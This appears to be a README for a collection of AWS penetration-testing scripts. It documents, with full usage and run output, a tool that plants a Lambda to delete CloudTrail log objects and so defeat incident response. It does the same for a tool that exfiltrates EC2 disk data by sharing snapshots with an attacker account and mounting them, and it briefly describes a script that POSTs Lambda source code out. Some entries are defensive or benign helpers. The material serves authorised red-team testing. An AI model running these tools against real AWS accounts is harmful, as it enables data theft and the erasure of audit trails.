## AWS-related penetration testing scripts, tools and Cheatsheets - **`disruptCloudTrailByS3Lambda.py`** - This script attempts to disrupt CloudTrail by planting a Lambda function that will delete every object created in S3 bucket bound to a trail. As soon as CloudTrail creates a new object in S3 bucket, Lambda will kick in and delete that object. No object, no logs. No logs, no Incident Response :-) One will need to pass AWS credentials to this tool. Also, the account affected should have at least following permissions: - `iam:CreateRole` - `iam:CreatePolicy` - `iam:AttachRolePolicy` - `lambda:CreateFunction` - `lambda:AddPermission` - `s3:PutBucketNotification` These are the changes to be introduced within a specified AWS account: - IAM role will be created, by default with name: `cloudtrail_helper_role` - IAM policy will be created, by default with name: `cloudtrail_helper_policy` - Lambda function will be created, by default with name: `cloudtrail_helper_function` - Put Event notification will be configured on affected CloudTrail S3 buckets. This tool will fail upon first execution with the following exception: ``` [-] Could not create a Lambda function: An error occurred (InvalidParameterValueException) when calling the CreateFunction operation: The role defined for the function cannot be assumed by Lambda. ``` At the moment I did not find an explanation for that, but running the tool again with the same set of parameters - get the job done. ``` bash $ python3 disruptCloudTrailByS3Lambda.py --help :: AWS CloudTrail disruption via S3 Put notification to Lambda Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation Mariusz B. / mgeeky '19, usage: disruptCloudTrailByS3Lambda.py [options] [trail_name] required arguments: region AWS region to use. --access-key ACCESS_KEY AWS Access Key ID --secret-key SECRET_KEY AWS Access Key ID --token TOKEN AWS temporary session token optional arguments: trail_name CloudTrail name that you want to disrupt. If not specified, will disrupt every actively logging trail. --disrupt By default, this tool will install Lambda that is only logging that it could remove S3 objects. By using this switch, there is going to be Lambda introduced that actually deletes objects. --role-name ROLE_NAME name for AWS Lambda role --policy-name POLICY_NAME name for a policy for that Lambda role --function-name FUNCTION_NAME name for AWS Lambda function bash $ python3 disruptCloudTrailByS3Lambda.py --access-key ASIAXXXXXXXXXXXXXXXX --secret-key Gaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa --token FQoGZX[...] us-west-2 :: AWS CloudTrail disruption via S3 Put notification to Lambda Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation Mariusz B. / mgeeky '19, [.] Will be working on Account ID: 712800000000 [.] Step 1: Determine trail to disrupt [+] Trail cloudgoat_trail is actively logging (multi region? No). [.] Trails intended to be disrupted: - cloudgoat_trail [.] Step 2: Create a role to be assumed by planted Lambda [-] Role with name: cloudtrail_helper_role already exists. [.] Step 3: Create a policy for that role [-] Policy with name: cloudtrail_helper_policy already exists. [.] Step 4: Attach policy to the role [.] Attaching policy (arn:aws:iam::712800000000:policy/cloudtrail_helper_policy) to the role cloudtrail_helper_role [-] Policy is already attached. [.] Step 5: Create Lambda function [.] Using non-disruptive lambda. [.] Creating a lambda function named: cloudtrail_helper_function on Role: arn:aws:iam::712800000000:role/cloudtrail_helper_role [+] Function created. [.] Step 6: Permit function to be invoked on all trails [.] Adding invoke permission to func: cloudtrail_helper_function on S3 bucket: arn:aws:s3:::90112981864022885796153088027941100000000000000000000000 [.] Step 7: Configure trail bucket's put notification [.] Putting a bucket notification configuration to 90112981864022885796153088027941100000000000000000000000, ARN: arn:aws:lambda:us-west-2:712800000000:function:cloudtrail_helper_function [+] Installed CloudTrail's S3 bucket disruption Lambda. ``` Afterwards, one should see following logs in CloudWatch traces for planted Lambda function - if no `--disrupt` option was specified: ``` [*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000, Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz) ``` - **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies, goes through all of granted permissions and lists those that are known for Privilege Escalation risks. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18) - **`exfiltrate-ec2.py`** - This script exploits insecure permissions given to the EC2 IAM Role allowing to exfiltrate target EC2's filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. IAM Permissions abused: - `ec2:CreateSnapshot` - `ec2:ModifySnapshotAttribute` - `ec2:CreateImage` ``` attacker $ python3 ./exfiltrate-ec2.py --help :: exfiltrate-ec2 Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume Mariusz B. / mgeeky '19, usage: ./exfiltrate-ec2.py [-h] [--region REGION] [--profile PROFILE] [--access-key ACCESS_KEY] [--secret-key SECRET_KEY] [--token TOKEN] [--victim-profile VICTIM_PROFILE] [--victim-access-key VICTIM_ACCESS_KEY] [--victim-secret-key VICTIM_SECRET_KEY] [--victim-token VICTIM_TOKEN] [-v] {createimage,createsnapshot} ... positional arguments: {createimage,createsnapshot} Available methods createimage Creates a snapshot of a running or stopped EC2 instance in an AMI image form. This AMI image will then be shared with another AWS account, constituing exfiltration opportunity. createsnapshot Creates a snapshot of an EBS volume used by an EC2 instance. This snapshot will then be shared with another AWS account, constituing exfiltration opportunity. required arguments: --region REGION AWS Region to use. optional arguments: -v, --verbose Display verbose output. Attacker's AWS credentials - where to instantiate exfiltrated EC2: --profile PROFILE Attacker's AWS Profile name to use if --access-key was not specified --access-key ACCESS_KEY Attacker's AWS Access Key ID to use if --profile was not specified --secret-key SECRET_KEY Attacker's AWS Secret Key ID --token TOKEN (Optional) Attacker's AWS temporary session token Victim AWS credentials - where to find EC2 to exfiltrate: --victim-profile VICTIM_PROFILE Victim's AWS Profile name to use if --access-key was not specified --victim-access-key VICTIM_ACCESS_KEY Victim's AWS Access Key ID to use if --profile was not specified --victim-secret-key VICTIM_SECRET_KEY Victim's AWS Secret Key ID --victim-token VICTIM_TOKEN (Optional) Victim's AWS temporary session token attacker $ python3 ./exfiltrate-ec2.py --region us-east-1 -v --profile default --victim-profile victim-profile createsnapshot --volume-id vol-0f340890acfXXXXX --attach-instance-id i-0b359b0fcbcYYYYY :: exfiltrate-ec2 Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume Mariusz B. / mgeeky '19, [.] Using attacker's profile: default [.] Using victim's profile: victim-profile [.] Using region: us-east-1 [.] Authenticating using Attacker's AWS credentials... [.] Authenticating using Victim's AWS credentials... [>] Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute... [>] Step 1: Creating EBS volume snapshot. VolumeId = vol-0f340890acfXXXXX [+] Snapshot of volume vol-0f340890acfXXXXX created: snap-0d7a43f0ff34ZZZZ [>] Step 2: Modifying snapshot attributes to share it with UserId = 71284700000 [+] Snapshot's attributes modified to share it with user 71284700000 [>] Step 3: Waiting for the snapshot to transit into completed state. [>] Step 4: Creating EBS volume in Attacker's 71284700000 AWS account. [.] Obtained Attacker's EC2 instance Availbility Zone automatically: us-east-1d [+] Created EBS volume (vol-04f36e35abeWWW at Attacker's side out from exfiltrated snapshot (snap-0d7a43f0ff34ZZZZ) [>] Step 5: Waiting for the volume to transit into created state. [>] Step 6: Attaching created EBS volume to Attacker's specified EC2 instance [-] Attacker's machine is in running state, preventing to attach it a volume. [.] Trying to stop the EC2 instance, then attach the volume and then restart it. [+] Attached volume to the specified Attacker's EC2 instance: i-0b359b0fcbcYYYYY [.] Restarting it... =============================================================== [MODULE FINISHED] =============================================================== [+] Exfiltrated snapshot of a victim's EBS volume: VictimVolumeId = vol-0f340890acfXXXXX [+] By creating a snapshot of it, shared to the attacker's AWS user ID. SnapshotId = snap-0d7a43f0ff34ZZZZ If everything went fine, Attacker's AWS account 71284700000 should have a EBS volume now: AttackerVolumeId = vol-04f36e35abeWWW That was attached to the specified attacker's EC2 instance: AttackerInstanceId = i-0b359b0fcbcYYYYY AvailibityZone = us-east-1d Most likely as a '/dev/xvdf' device. =============================================================== To examine exfiltrated data: 0) SSH to the attacker's EC2 instance # ssh ec2-user@18.206.230.190 1) List block devices mapped: # lsblk 2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it: # mkdir /exfiltrated 3) Mount that device's volume: # mount /dev/xvdf1 /exfiltrated attacker $ ssh ec2-user@18.206.230.190 [...] ec2-user@ec2instance:~$ sudo -s root@ec2instance:/home/ec2-user# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda 202:0 0 25G 0 disk └─xvda1 202:1 0 25G 0 part xvdf 202:80 0 25G 0 disk └─xvdf1 202:81 0 25G 0 part / root@ec2instance:/home/ec2-user# mkdir /exfiltrated root@ec2instance:/home/ec2-user# mount /dev/xvda1 /exfiltrated root@ec2instance:/home/ec2-user# ls -l /exfiltrated total 84 -rw-r--r-- 1 root root 0 lip 31 2018 0 lrwxrwxrwx 1 root root 7 sie 17 2018 bin -> usr/bin drwxr-xr-x 3 root root 4096 sie 17 2018 boot drwxr-xr-x 4 root root 4096 sie 17 2018 dev drwxr-xr-x 179 root root 12288 gru 4 16:37 etc drwxr-xr-x 3 root root 4096 lis 4 16:18 home [...] ``` - **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code. - **`find-exposed-resources.sh`** - Utterly simple script enumerating some of the resources that could be publicly shared which would count as a security misconfiguration. - **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds. - **`identifyS3Bucket.rb`** - This script attempts to identify passed name whether it resolves to a valid AWS S3 Bucket via different means. This script may come handy when revealing S3 buckets hidden behind HTTP proxies. - **`pentest-ec2-instance`** - A set of utilities for quick starting, ssh-ing and stopping of a single temporary EC2 instance intended to be used for Web out-of-band tests (SSRF, reverse-shells, dns/http/other daemons).